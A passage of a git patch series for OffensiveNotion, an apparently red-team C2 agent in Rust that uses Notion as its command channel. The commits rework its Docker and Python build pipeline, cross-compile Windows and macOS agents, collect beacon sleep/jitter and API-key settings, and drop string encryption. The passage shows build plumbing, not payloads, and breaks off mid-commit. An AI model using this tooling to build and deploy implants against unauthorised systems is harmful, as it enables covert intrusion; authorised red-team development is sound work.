@@ def main(): try: try: set_env_vars() - copy_source_file() - sed_source_code() + #copy_source_file() + #sed_source_code() except Exception as e: print(printError + str(e)) @@ -378,7 +378,7 @@ def main(): print(printError + str(e)) try: - recover_config_source() + #recover_config_source() recover_dockerfile() except Exception as e: print(printError + str(e)) @@ -393,7 +393,7 @@ def main(): print(good + "Done! Happy hacking!") except KeyboardInterrupt: print(recc + 'Cleaning up and exiting...') - recover_config_source() + #recover_config_source() recover_dockerfile() print(recc + "Goodbye!" + Fore.RESET) sys.exit(0) From 142b6a4f7c32a4d8d5ea9c043f5e0dc1bf33c825 Mon Sep 17 00:00:00 2001 From: husky Date: Tue, 15 Mar 2022 22:03:39 -0400 Subject: [PATCH 70/99] it don't work but this is what I had so far --- Dockerfile | 14 +++++++++++--- main.py | 4 ++-- 2 files changed, 13 insertions(+), 5 deletions(-) mode change 100755 => 100644 Dockerfile diff --git a/Dockerfile b/Dockerfile old mode 100755 new mode 100644 index 09a7344..11840ed --- a/Dockerfile +++ b/Dockerfile @@ -8,12 +8,20 @@ COPY agent/ . RUN rustup target add x86_64-pc-windows-gnu && rustup toolchain install stable-x86_64-pc-windows-gnu -# Set env vars +ENV SLEEP=$SLEEP +ENV JITTER=$JITTER +ENV PARENT_PAGE_ID=$PARENT_PAGE_ID +ENV LOG_LEVEL=$LOG_LEVEL ENV API_KEY=$API_KEY # SED all variables into the source code before build -WORKDIR agent/ -#RUN $sed 's/<>/$API_KEY/' src/config.rs +RUN sed -i "s/<>/$SLEEP/g" src/config.rs +RUN cat src/config.rs + +#RUN sed -i 's/<>/'"JITTER"'/g' src/config.rs +#RUN sed -i 's/<>/'"PARENT_PAGE_ID"'/g' src/config.rs +#RUN sed -i 's/<>/'"LOG_LEVEL"'/g' src/config.rs +#RUN sed -i 's/<>/'"$API_KEY"'/g' src/config.rs # This Dockerfile gets edited dynamically by main.py. If using main.py, don't touch it. If building the Docker container from source, edit this with your target build and OS # Litcrypt key as env var diff --git a/main.py b/main.py index 065f2b4..f97fbe7 100755 --- a/main.py +++ b/main.py @@ -204,7 +204,7 @@ def set_env_vars(): data = json.load(f) for k, v in data.items(): os.environ["{}".format(k)] = "{}".format(v) - print(os.getenv('{}'.format(k))) + print(info+ "{}".format(k) + ": " + os.getenv('{}'.format(k))) def copy_dockerfile(): @@ -240,7 +240,7 @@ def docker_build(): def docker_run(): try: print(info + "Starting build container...") - sub.call(['docker run -e API_KEY -e LITCRYPT_KEY --name offensivenotion -dt offensivenotion 1>/dev/null'], shell=True) + sub.call(['docker run -e SLEEP -e JITTER -e LITCRYPT_KEY -e API_KEY -e PARENT_PAGE_ID -e LOG_LEVEL --name offensivenotion -dt offensivenotion 1>/dev/null'], shell=True) except Exception as e: print(printError + str(e)) exit(1) From c2856079fb6c4d0a34ce3ddb8f08c92d0b503e5c Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 15 Mar 2022 21:11:40 -0700 Subject: [PATCH 71/99] Start testing controversial Docker changes --- Dockerfile | 51 ++++++++++++++++++++++++++++++++++++--------------- main.py | 49 ++++++++++++++++++++++++++----------------------- 2 files changed, 62 insertions(+), 38 deletions(-) diff --git a/Dockerfile b/Dockerfile index 11840ed..8883fd4 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,22 +1,39 @@ -FROM rust:latest +FROM rust:latest AS rustbuilder -RUN apt update -y && apt install mingw-w64 -y && apt install gcc-multilib -y +# Do the Rust setup, but do it just the once and separate the ON stuff -RUN mkdir /opt/OffensiveNotion -WORKDIR /opt/OffensiveNotion -COPY agent/ . +RUN echo "Installing dependencies" +RUN apt update +RUN apt install -y \ + mingw-w64 \ + gcc-multilib \ + python3-pip +RUN rustup update stable +RUN rustup target add x86_64-pc-windows-gnu -RUN rustup target add x86_64-pc-windows-gnu && rustup toolchain install stable-x86_64-pc-windows-gnu -ENV SLEEP=$SLEEP -ENV JITTER=$JITTER -ENV PARENT_PAGE_ID=$PARENT_PAGE_ID -ENV LOG_LEVEL=$LOG_LEVEL -ENV API_KEY=$API_KEY +# Now we get to work +# FROM ubuntu:latest as onbuilder + +RUN mkdir /OffensiveNotion +RUN mkdir /out +COPY ./ /OffensiveNotion +WORKDIR /OffensiveNotion + + +# ENV SLEEP=$SLEEP +# ENV JITTER=$JITTER +# ENV PARENT_PAGE_ID=$PARENT_PAGE_ID +# ENV LOG_LEVEL=$LOG_LEVEL +# ENV API_KEY=$API_KEY # SED all variables into the source code before build -RUN sed -i "s/<>/$SLEEP/g" src/config.rs -RUN cat src/config.rs +# RUN sed -i "s/<>/$SLEEP/g" src/config.rs +# RUN sed -i "s/<>/$JITTER/g" src/config.rs +# RUN sed -i "s/<>/$PARENT_PAGE_ID/g" src/config.rs +# RUN sed -i "s/<>/$LOG_LEVEL/g" src/config.rs +# RUN sed -i "s/<>/$API_KEY/g" src/config.rs +# RUN cat src/config.rs #RUN sed -i 's/<>/'"JITTER"'/g' src/config.rs #RUN sed -i 's/<>/'"PARENT_PAGE_ID"'/g' src/config.rs @@ -25,6 +42,10 @@ RUN cat src/config.rs # This Dockerfile gets edited dynamically by main.py. If using main.py, don't touch it. If building the Docker container from source, edit this with your target build and OS # Litcrypt key as env var -ENV LITCRYPT_ENCRYPT_KEY=$LITCRYPT_KEY +# ENV LITCRYPT_ENCRYPT_KEY=$LITCRYPT_KEY + +RUN pip3 install -r requirements.txt +ENTRYPOINT ["/usr/bin/python3", "main.py"] + -RUN cargo build {OS} {RELEASE} +# ENTRYPOINT cargo build {OS} {RELEASE} --out-dir /out diff --git a/main.py b/main.py index f97fbe7..4586c4d 100755 --- a/main.py +++ b/main.py @@ -330,7 +330,7 @@ def run_web_delivery(): def main(): print_logo() is_root() - check_docker() + # check_docker() # Config file checks configs = does_config_exist() @@ -358,30 +358,33 @@ def main(): try: try: set_env_vars() - #copy_source_file() - #sed_source_code() + # copy_source_file() + sed_source_code() except Exception as e: print(printError + str(e)) - try: - copy_dockerfile() - sed_dockerfile() - except Exception as e: - print(printError + str(e)) - - try: - docker_build() - docker_run() - docker_copy() - #docker_kill() - except Exception as e: - print(printError + str(e)) - - try: - #recover_config_source() - recover_dockerfile() - except Exception as e: - print(printError + str(e)) + os.chdir("agent") + sub.run(["cargo", "build", "--out-dir", "/out"]) + # try: + # copy_dockerfile() + # sed_dockerfile() + # pass + # except Exception as e: + # print(printError + str(e)) + + # try: + # docker_build() + # docker_run() + # docker_copy() + # #docker_kill() + # except Exception as e: + # print(printError + str(e)) + + # try: + # recover_config_source() + # recover_dockerfile() + # except Exception as e: + # print(printError + str(e)) if args.webdelivery: try: @@ -394,7 +397,7 @@ def main(): except KeyboardInterrupt: print(recc + 'Cleaning up and exiting...') #recover_config_source() - recover_dockerfile() + # recover_dockerfile() print(recc + "Goodbye!" + Fore.RESET) sys.exit(0) From 62446627187986200e96263dbf895230897d7fa4 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 15 Mar 2022 22:46:36 -0700 Subject: [PATCH 72/99] Working build, despite the radical choices --- Dockerfile | 3 ++- main.py | 9 ++++++++- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/Dockerfile b/Dockerfile index 8883fd4..a507246 100644 --- a/Dockerfile +++ b/Dockerfile @@ -8,7 +8,8 @@ RUN apt install -y \ mingw-w64 \ gcc-multilib \ python3-pip -RUN rustup update stable +RUN rustup toolchain install nightly +RUN rustup default nightly RUN rustup target add x86_64-pc-windows-gnu diff --git a/main.py b/main.py index 4586c4d..0d58204 100755 --- a/main.py +++ b/main.py @@ -364,7 +364,14 @@ def main(): print(printError + str(e)) os.chdir("agent") - sub.run(["cargo", "build", "--out-dir", "/out"]) + + new_env = os.environ.copy() + new_env["LITCRYPT_ENCRYPT_KEY"] = json_vars["LITCRYPT_KEY"] + + sub.run( + ["cargo", "build", "-Z", "unstable-options", "--out-dir", "/out"], + env=new_env + ) # try: # copy_dockerfile() # sed_dockerfile() From 25ec0f651d8c7750e6e242127daccafeb5091e49 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Wed, 16 Mar 2022 07:01:53 -0700 Subject: [PATCH 73/99] Add rmdir --- main.py | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/main.py b/main.py index 0d58204..325e349 100755 --- a/main.py +++ b/main.py @@ -3,8 +3,7 @@ import argparse import subprocess as sub -from shutil import copyfile -from shutil import move +from shutil import copyfile, move, rmtree import utils from utils.colors import * @@ -365,13 +364,21 @@ def main(): os.chdir("agent") + # The subprocess needs the env var, so we'll set it, along with the + # rest of the env here new_env = os.environ.copy() new_env["LITCRYPT_ENCRYPT_KEY"] = json_vars["LITCRYPT_KEY"] + # Run cargo. The unstable options allows --out-dir, meaning the user + # Can mount a folder they select as the destination for the compiled result sub.run( ["cargo", "build", "-Z", "unstable-options", "--out-dir", "/out"], env=new_env ) + + # This will make an additional target folder, so blow it away + # in the event it was on the mounted drive + rmtree("target") # try: # copy_dockerfile() # sed_dockerfile() From d83cfebea8c74b745fcca659da4796ebf8d27df4 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Wed, 16 Mar 2022 15:47:52 -0700 Subject: [PATCH 74/99] Remove extraneous to_string --- agent/src/cmd/mod.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/agent/src/cmd/mod.rs b/agent/src/cmd/mod.rs index ee9b32e..932e879 100755 --- a/agent/src/cmd/mod.rs +++ b/agent/src/cmd/mod.rs @@ -29,7 +29,7 @@ mod selfdestruct; macro_rules! notion_out { ($s:literal) => { - Ok(lc!(format!($s).to_string())) + Ok(lc!(format!($s))) }; } pub(crate) use notion_out; From 67fa6fc49737ea3e8c2e646d26b99a48dd3d1f8e Mon Sep 17 00:00:00 2001 From: husky Date: Wed, 16 Mar 2022 18:49:51 -0400 Subject: [PATCH 75/99] main.py bug with default vals fixed --- bin/linux_debug/.gitkeep | 0 bin/linux_release/.gitkeep | 0 bin/windows_debug/.gitkeep | 0 bin/windows_release/.gitkeep | 0 main.py | 8 ++++---- utils/www/.gitkeep | 0 6 files changed, 4 insertions(+), 4 deletions(-) delete mode 100644 bin/linux_debug/.gitkeep delete mode 100755 bin/linux_release/.gitkeep delete mode 100755 bin/windows_debug/.gitkeep delete mode 100755 bin/windows_release/.gitkeep mode change 100644 => 100755 utils/www/.gitkeep diff --git a/bin/linux_debug/.gitkeep b/bin/linux_debug/.gitkeep deleted file mode 100644 index e69de29..0000000 diff --git a/bin/linux_release/.gitkeep b/bin/linux_release/.gitkeep deleted file mode 100755 index e69de29..0000000 diff --git a/bin/windows_debug/.gitkeep b/bin/windows_debug/.gitkeep deleted file mode 100755 index e69de29..0000000 diff --git a/bin/windows_release/.gitkeep b/bin/windows_release/.gitkeep deleted file mode 100755 index e69de29..0000000 diff --git a/main.py b/main.py index 325e349..132cbd2 100755 --- a/main.py +++ b/main.py @@ -120,15 +120,15 @@ def take_in_vars(): """ # Sleep sleep_interval = ask_for_input( - important + "Enter the number of seconds for the agent's sleep interval [default is 30][format: #]", 30) + important + "Enter the number of seconds for the agent's sleep interval [default is 30][format: #]", "30") print(good + "Sleep interval: {}".format(sleep_interval)) # Jitter Time jitter_time = ask_for_input( - important + "Enter the number of seconds for the agent's jitter range [default is 10][format: #]", 10) - print(good + "Jitter range: {}".format(sleep_interval)) + important + "Enter the number of seconds for the agent's jitter range [default is 10][format: #]", "10") + print(good + "Jitter range: {}".format(jitter_time)) # Log Level log_level = ask_for_input( - important + "Enter the logging level for the agent (0-5) [default is 2][format: #]", 2) + important + "Enter the logging level for the agent (0-5) [default is 2][format: #]", "2") # Litcrypt Key litcrypt_key = ask_for_input(important + "Enter the key to use to encrypt your agent's strings [default is 'offensivenotion']", "offensivenotion") print(good + "Encryption key: {}".format(litcrypt_key)) diff --git a/utils/www/.gitkeep b/utils/www/.gitkeep old mode 100644 new mode 100755 From 59a5b74decadb3a0d97596794bb261613a4651b3 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Wed, 16 Mar 2022 23:54:41 -0700 Subject: [PATCH 76/99] Axe litcrypt for now --- agent/src/cmd/mod.rs | 5 +++-- agent/src/logger.rs | 4 ++-- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/agent/src/cmd/mod.rs b/agent/src/cmd/mod.rs index 932e879..121e657 100755 --- a/agent/src/cmd/mod.rs +++ b/agent/src/cmd/mod.rs @@ -28,9 +28,10 @@ mod selfdestruct; macro_rules! notion_out { - ($s:literal) => { - Ok(lc!(format!($s))) + ($s:tt) => { + Ok(format!($s)) }; + } pub(crate) use notion_out; diff --git a/agent/src/logger.rs b/agent/src/logger.rs index aa52fbc..72b6ed9 100644 --- a/agent/src/logger.rs +++ b/agent/src/logger.rs @@ -72,8 +72,8 @@ impl Logger { } macro_rules! log_out { - ($s:literal) => { - lc!(format!($s).to_string()) + ($s:tt) => { + format!($s) }; } pub(crate) use log_out; \ No newline at end of file From 2e51fcfd0b91e8ab3a625aca9f134e46a97adfac Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Wed, 16 Mar 2022 23:58:30 -0700 Subject: [PATCH 77/99] Axe litcrypt for now, pt. 2 --- agent/Cargo.lock | 11 ----------- agent/Cargo.toml | 1 - agent/src/main.rs | 5 ----- 3 files changed, 17 deletions(-) diff --git a/agent/Cargo.lock b/agent/Cargo.lock index 75cce26..3e7d493 100755 --- a/agent/Cargo.lock +++ b/agent/Cargo.lock @@ -451,16 +451,6 @@ version = "0.2.113" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "eef78b64d87775463c549fbd80e19249ef436ea3bf1de2a1eb7e717ec7fab1e9" -[[package]] -name = "litcrypt" -version = "0.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5f82f92066d9d41b3a569b459b7874e67feb835507a83b7bd142ea9f56c620c7" -dependencies = [ - "proc-macro2", - "quote", -] - [[package]] name = "lock_api" version = "0.4.5" @@ -606,7 +596,6 @@ dependencies = [ "is-root", "kernel32-sys", "libc", - "litcrypt", "rand", "reqwest", "serde", diff --git a/agent/Cargo.toml b/agent/Cargo.toml index ee17ac9..a5e43c5 100755 --- a/agent/Cargo.toml +++ b/agent/Cargo.toml @@ -19,7 +19,6 @@ rand = "0.8.0" is-root = "0.1.2" base64 = "0.13.0" cidr-utils = "0.5.5" -litcrypt = "0.3" [build-dependencies] embed-resource = "1.6" diff --git a/agent/src/main.rs b/agent/src/main.rs index 445cd99..d5e1a69 100755 --- a/agent/src/main.rs +++ b/agent/src/main.rs @@ -4,8 +4,6 @@ extern crate tokio; extern crate serde_json; extern crate whoami; extern crate base64; -#[macro_use] -extern crate litcrypt; use std::{thread, time}; use std::env::args; @@ -33,9 +31,6 @@ mod cmd; use cmd::{NotionCommand, CommandType}; mod logger; -// Used to encrypt strings -use_litcrypt!(); - #[tokio::main] async fn main() -> Result<(), Box> { From af3b1ccfaf38ac2df0fd0742011bcf9f19caf05a Mon Sep 17 00:00:00 2001 From: husky Date: Fri, 18 Mar 2022 17:08:21 -0400 Subject: [PATCH 78/99] removing litcrypt key vals from main.py --- main.py | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) diff --git a/main.py b/main.py index 132cbd2..f6952a0 100755 --- a/main.py +++ b/main.py @@ -129,9 +129,6 @@ def take_in_vars(): # Log Level log_level = ask_for_input( important + "Enter the logging level for the agent (0-5) [default is 2][format: #]", "2") - # Litcrypt Key - litcrypt_key = ask_for_input(important + "Enter the key to use to encrypt your agent's strings [default is 'offensivenotion']", "offensivenotion") - print(good + "Encryption key: {}".format(litcrypt_key)) # API Key api_key = getpass.getpass(important + "Enter your Notion Developer Account API key > ") print(good + "Got your API key!") @@ -147,7 +144,6 @@ def take_in_vars(): json_vars = { "SLEEP": sleep_interval, "JITTER": jitter_time, - "LITCRYPT_KEY": litcrypt_key, "API_KEY": api_key, "PARENT_PAGE_ID": parent_page_id, "LOG_LEVEL": str(log_level) @@ -239,7 +235,7 @@ def docker_build(): def docker_run(): try: print(info + "Starting build container...") - sub.call(['docker run -e SLEEP -e JITTER -e LITCRYPT_KEY -e API_KEY -e PARENT_PAGE_ID -e LOG_LEVEL --name offensivenotion -dt offensivenotion 1>/dev/null'], shell=True) + sub.call(['docker run -e SLEEP -e JITTER -e API_KEY -e PARENT_PAGE_ID -e LOG_LEVEL --name offensivenotion -dt offensivenotion 1>/dev/null'], shell=True) except Exception as e: print(printError + str(e)) exit(1) @@ -367,7 +363,6 @@ def main(): # The subprocess needs the env var, so we'll set it, along with the # rest of the env here new_env = os.environ.copy() - new_env["LITCRYPT_ENCRYPT_KEY"] = json_vars["LITCRYPT_KEY"] # Run cargo. The unstable options allows --out-dir, meaning the user # Can mount a folder they select as the destination for the compiled result @@ -410,7 +405,7 @@ def main(): print(good + "Done! Happy hacking!") except KeyboardInterrupt: print(recc + 'Cleaning up and exiting...') - #recover_config_source() + recover_config_source() # recover_dockerfile() print(recc + "Goodbye!" + Fore.RESET) sys.exit(0) From 1f6cc70fe11d23b6fe533d0c9645c0a399de8bfd Mon Sep 17 00:00:00 2001 From: husky Date: Fri, 18 Mar 2022 18:01:39 -0400 Subject: [PATCH 79/99] conditional build for cargo build command for linux/windows --- main.py | 122 ++++++++++---------------------------------------------- 1 file changed, 20 insertions(+), 102 deletions(-) diff --git a/main.py b/main.py index f6952a0..9d40820 100755 --- a/main.py +++ b/main.py @@ -199,7 +199,6 @@ def set_env_vars(): data = json.load(f) for k, v in data.items(): os.environ["{}".format(k)] = "{}".format(v) - print(info+ "{}".format(k) + ": " + os.getenv('{}'.format(k))) def copy_dockerfile(): @@ -209,86 +208,6 @@ def copy_dockerfile(): copyfile(src, dst) -def sed_dockerfile(): - print(info + "Setting dockerfile variables...") - if args.os == "windows": - utils.file_utils.sed_inplace(dockerfile, "{OS}", "--target x86_64-pc-windows-gnu") - else: - utils.file_utils.sed_inplace(dockerfile, "{OS}", "") - if args.build == "release": - utils.file_utils.sed_inplace(dockerfile, "{RELEASE}", "--release") - else: - utils.file_utils.sed_inplace(dockerfile, "{RELEASE}", "") - - -# Start Docker container, Dockerfile handles compilation -def docker_build(): - try: - print(info + "Creating temporary build environment container...") - sub.call(['docker rm offensivenotion -f 1>/dev/null 2>/dev/null && docker build -t offensivenotion .'], - shell=True) - except Exception as e: - print(printError + str(e)) - exit(1) - - -def docker_run(): - try: - print(info + "Starting build container...") - sub.call(['docker run -e SLEEP -e JITTER -e API_KEY -e PARENT_PAGE_ID -e LOG_LEVEL --name offensivenotion -dt offensivenotion 1>/dev/null'], shell=True) - except Exception as e: - print(printError + str(e)) - exit(1) - - -# Copy agent out to physical system -def docker_copy(): - print(info + "Copying payload binary to host...") - - # All possible outcomes are: - # Linux DEBUG: bin/target/debug/offensive_notion - # Linux RELEASE: bin/target/release/offensive_notion - # Windows DEBUG = bin/target/x86_64-pc-windows-gnu/debug/offensive_notion.exe - # Windows RELEASE bin/target/x86_64-pc-windows-gnu/release/offensive_notion.exe - - # HuskyHacksTogetherAPythonScript strikes again - if args.os == "windows": - agent_path = "x86_64-pc-windows-gnu" - bin_dir_folder = "windows_" + args.build - elif args.os == "linux": - agent_path = args.build - bin_dir_folder = "linux_" + args.build - else: - agent_path = "" - bin_dir_folder = "linux_debug" - - try: - already_there = os.path.isdir("bin/{}/{}".format(bin_dir_folder, agent_path)) - if already_there: - print(info + "Agents detected. Removing and copying new ones...") - shutil.rmtree("bin/{}/{}".format(bin_dir_folder, agent_path), ignore_errors=True) - sub.call(['docker cp offensivenotion:/opt/OffensiveNotion/target/{} bin/{} 1>/dev/null'.format(agent_path, - bin_dir_folder)], - shell=True) - exists = os.path.isdir("bin/{}/{}".format(bin_dir_folder, agent_path)) - if exists: - print(good + "Success! Agent is located at bin/{} on this host.".format(bin_dir_folder)) - return True - except Exception as e: - print(printError + str(e)) - exit(1) - - -# Tear down docker container -def docker_kill(): - print(info + "Removing temporary container...") - try: - sub.call(['docker rm offensivenotion -f 1>/dev/null'], shell=True) - except Exception as e: - print(printError + str(e)) - exit(1) - - def recover_config_source(): print(info + "Recovering original source code...") old_conf = agent_dir + "/src/config.rs.bak" @@ -352,6 +271,7 @@ def main(): try: try: + shutil.copyfile("config.json", "/out/config.json") set_env_vars() # copy_source_file() sed_source_code() @@ -366,34 +286,32 @@ def main(): # Run cargo. The unstable options allows --out-dir, meaning the user # Can mount a folder they select as the destination for the compiled result - sub.run( - ["cargo", "build", "-Z", "unstable-options", "--out-dir", "/out"], + # Parametarizing the cargo build command + + if args.os == "windows": + os_arg = "--target x86_64-pc-windows-gnu" + else: + os_arg = "" + if args.build == "release": + build_arg = "--release" + else: + build_arg = "" + + + sub.call( + ["cargo build -Z unstable-options --out-dir /out {} {}".format(os_arg, build_arg)], shell=True, env=new_env ) # This will make an additional target folder, so blow it away # in the event it was on the mounted drive rmtree("target") - # try: - # copy_dockerfile() - # sed_dockerfile() - # pass - # except Exception as e: - # print(printError + str(e)) - - # try: - # docker_build() - # docker_run() - # docker_copy() - # #docker_kill() - # except Exception as e: - # print(printError + str(e)) - - # try: - # recover_config_source() + + try: + recover_config_source() # recover_dockerfile() - # except Exception as e: - # print(printError + str(e)) + except Exception as e: + print(printError + str(e)) if args.webdelivery: try: From 70e94177a396d8d3ed0d54c28500cd1a1c0575c3 Mon Sep 17 00:00:00 2001 From: husky Date: Fri, 18 Mar 2022 20:17:30 -0400 Subject: [PATCH 80/99] conditional build for cargo build command for linux/windows --- main.py | 22 +++------------------- 1 file changed, 3 insertions(+), 19 deletions(-) diff --git a/main.py b/main.py index 9d40820..c3a8461 100755 --- a/main.py +++ b/main.py @@ -130,7 +130,7 @@ def take_in_vars(): log_level = ask_for_input( important + "Enter the logging level for the agent (0-5) [default is 2][format: #]", "2") # API Key - api_key = getpass.getpass(important + "Enter your Notion Developer Account API key > ") + api_key = getpass.getpass(important + "Enter your Notion Developer Account API key [will be concealed from terminal]> ") print(good + "Got your API key!") # Parent Page ID print( @@ -193,6 +193,7 @@ def sed_source_code(): for k, v in data.items(): utils.file_utils.sed_inplace(source_file, "<<{}>>".format(k), v) + def set_env_vars(): print(info+ "Setting env vars...") f = open("config.json") @@ -201,13 +202,6 @@ def set_env_vars(): os.environ["{}".format(k)] = "{}".format(v) -def copy_dockerfile(): - print(info + "Creating Dockerfile...") - src = dockerfile - dst = "Dockerfile.bak" - copyfile(src, dst) - - def recover_config_source(): print(info + "Recovering original source code...") old_conf = agent_dir + "/src/config.rs.bak" @@ -221,13 +215,6 @@ def recover_config_source(): print(printError + str(e)) -def recover_dockerfile(): - print(info + "Recovering original Dockerfile...") - orig = dockerfile + ".bak" - new = "Dockerfile" - move(orig, new) - - def c2_lint(json_string): print(info + "Checking your C2 configs...") c2_check = utils.c2_linter.create_page(json_string["API_KEY"], json_string["PARENT_PAGE_ID"]) @@ -244,7 +231,6 @@ def run_web_delivery(): def main(): print_logo() is_root() - # check_docker() # Config file checks configs = does_config_exist() @@ -286,7 +272,7 @@ def main(): # Run cargo. The unstable options allows --out-dir, meaning the user # Can mount a folder they select as the destination for the compiled result - # Parametarizing the cargo build command + # Parameterizing the cargo build command if args.os == "windows": os_arg = "--target x86_64-pc-windows-gnu" @@ -309,7 +295,6 @@ def main(): try: recover_config_source() - # recover_dockerfile() except Exception as e: print(printError + str(e)) @@ -324,7 +309,6 @@ def main(): except KeyboardInterrupt: print(recc + 'Cleaning up and exiting...') recover_config_source() - # recover_dockerfile() print(recc + "Goodbye!" + Fore.RESET) sys.exit(0) From b7b3879166cadc06b27c550e912cb75a304fc453 Mon Sep 17 00:00:00 2001 From: husky Date: Sat, 19 Mar 2022 09:39:11 -0400 Subject: [PATCH 81/99] getting closer but can't crack macos build, pathing errors --- Dockerfile | 42 ++++++++++++++---------------------------- agent/.cargo/config | 3 +++ main.py | 44 ++++---------------------------------------- 3 files changed, 21 insertions(+), 68 deletions(-) create mode 100644 agent/.cargo/config diff --git a/Dockerfile b/Dockerfile index a507246..4399e3d 100644 --- a/Dockerfile +++ b/Dockerfile @@ -7,10 +7,20 @@ RUN apt update RUN apt install -y \ mingw-w64 \ gcc-multilib \ - python3-pip + python3-pip \ + cmake \ + clang \ + gcc \ + g++ \ + zlib1g-dev \ + libmpc-dev \ + libmpfr-dev \ + libgmp-dev + RUN rustup toolchain install nightly RUN rustup default nightly RUN rustup target add x86_64-pc-windows-gnu +RUN rustup target add x86_64-apple-darwin # Now we get to work @@ -21,32 +31,8 @@ RUN mkdir /out COPY ./ /OffensiveNotion WORKDIR /OffensiveNotion - -# ENV SLEEP=$SLEEP -# ENV JITTER=$JITTER -# ENV PARENT_PAGE_ID=$PARENT_PAGE_ID -# ENV LOG_LEVEL=$LOG_LEVEL -# ENV API_KEY=$API_KEY - -# SED all variables into the source code before build -# RUN sed -i "s/<>/$SLEEP/g" src/config.rs -# RUN sed -i "s/<>/$JITTER/g" src/config.rs -# RUN sed -i "s/<>/$PARENT_PAGE_ID/g" src/config.rs -# RUN sed -i "s/<>/$LOG_LEVEL/g" src/config.rs -# RUN sed -i "s/<>/$API_KEY/g" src/config.rs -# RUN cat src/config.rs - -#RUN sed -i 's/<>/'"JITTER"'/g' src/config.rs -#RUN sed -i 's/<>/'"PARENT_PAGE_ID"'/g' src/config.rs -#RUN sed -i 's/<>/'"LOG_LEVEL"'/g' src/config.rs -#RUN sed -i 's/<>/'"$API_KEY"'/g' src/config.rs - -# This Dockerfile gets edited dynamically by main.py. If using main.py, don't touch it. If building the Docker container from source, edit this with your target build and OS -# Litcrypt key as env var -# ENV LITCRYPT_ENCRYPT_KEY=$LITCRYPT_KEY +# MacOS install. If not building a macOS agent, feel free to comment this RUN command out. +RUN git clone https://github.com/tpoechtrager/osxcross && cd osxcross && wget -nc https://s3.dockerproject.org/darwin/v2/MacOSX10.10.sdk.tar.xz && mv MacOSX10.10.sdk.tar.xz tarballs/ && echo "[*] Building osxcross. This may take a while..." &&UNATTENDED=yes OSX_VERSION_MIN=10.7 ./build.sh > /dev/null 2>&1 && echo "[+] Done!" RUN pip3 install -r requirements.txt -ENTRYPOINT ["/usr/bin/python3", "main.py"] - - -# ENTRYPOINT cargo build {OS} {RELEASE} --out-dir /out +ENTRYPOINT ["/usr/bin/python3", "main.py"] \ No newline at end of file diff --git a/agent/.cargo/config b/agent/.cargo/config new file mode 100644 index 0000000..4727075 --- /dev/null +++ b/agent/.cargo/config @@ -0,0 +1,3 @@ +[target.x86_64-apple-darwin] +linker = "x86_64-apple-darwin14-clang" +ar = "x86_64-apple-darwin14-ar" \ No newline at end of file diff --git a/main.py b/main.py index c3a8461..cca4004 100755 --- a/main.py +++ b/main.py @@ -1,10 +1,8 @@ #!/usr/bin/env python3 import os import argparse - import subprocess as sub from shutil import copyfile, move, rmtree - import utils from utils.colors import * from utils.inputs import * @@ -18,7 +16,7 @@ parser = argparse.ArgumentParser(description='OffensiveNotion Setup. Must be run as root. Generates the ' 'OffensiveNotion agent in a container.') -parser.add_argument('-o', '--os', choices=['linux', 'windows'], help='Target OS') +parser.add_argument('-o', '--os', choices=['linux', 'windows', 'macos'], help='Target OS') parser.add_argument('-b', '--build', choices=['debug', 'release'], help='Binary build') parser.add_argument('-c', '--c2lint', default=False, action="store_true", help="C2 linter. Checks your C2 config " "by creating a test page on your " @@ -64,41 +62,6 @@ def print_logo(): print(padding + tag + padding) print(spaces + creators + "\n" + Fore.RESET) -# Are you root? -def is_root(): - """ - Checks if the user is running the script with root privs. Exits if this is not the case. Root privs are needed to - set up the Docker container used for compiling the agent. - """ - if os.geteuid() == 0: - return - else: - print(important + "You need to run this script as root!") - parser.print_help() - exit() - - -# Is docker installed? -def check_docker(): - """ - Checks if Docker is installed, exits if it is not. - """ - print(info + "Checking Docker...") - try: - p = sub.Popen(['docker --version'], shell=True, stdin=sub.PIPE, stdout=sub.PIPE, stderr=sub.PIPE) - out, err = p.communicate() - if p.returncode == 0: - print(good + "Docker is installed!") - elif p.returncode > 0: - print( - important + "Docker is not installed. Make sure to install Docker first (on Kali/Ubuntu, run: sudo apt-get " - "install docker.io -y)") - exit(1) - except Exception as e: - print(str(e)) - exit(1) - - # Is there a config file? def does_config_exist() -> bool: """ @@ -230,7 +193,6 @@ def run_web_delivery(): def main(): print_logo() - is_root() # Config file checks configs = does_config_exist() @@ -246,7 +208,6 @@ def main(): looks_good = are_configs_good() while not looks_good: - # This could definitely use some work, seems sloppy json_vars = take_in_vars() write_config(json_vars) json_vars = read_config() @@ -276,6 +237,8 @@ def main(): if args.os == "windows": os_arg = "--target x86_64-pc-windows-gnu" + elif args.os == "macos": + os_arg = "--target x86_64-apple-darwin" else: os_arg = "" if args.build == "release": @@ -283,6 +246,7 @@ def main(): else: build_arg = "" + os.environ["PATH"] += os.pathsep + os.pathsep.join("/OffensiveNotion/osxcross/target/bin") sub.call( ["cargo build -Z unstable-options --out-dir /out {} {}".format(os_arg, build_arg)], shell=True, From 3dd34490271d0aaf07ac6a105409e87ae2eb179b Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sat, 19 Mar 2022 08:56:38 -0700 Subject: [PATCH 82/99] Fix pathing for mac build --- main.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/main.py b/main.py index cca4004..13e7dd5 100755 --- a/main.py +++ b/main.py @@ -246,7 +246,7 @@ def main(): else: build_arg = "" - os.environ["PATH"] += os.pathsep + os.pathsep.join("/OffensiveNotion/osxcross/target/bin") + new_env["PATH"] = "/OffensiveNotion/osxcross/target/bin" + os.pathsep + os.environ["PATH"] sub.call( ["cargo build -Z unstable-options --out-dir /out {} {}".format(os_arg, build_arg)], shell=True, From 5c8de18166cd74b093ee6a1f753fbb68bcb9e276 Mon Sep 17 00:00:00 2001 From: Michael 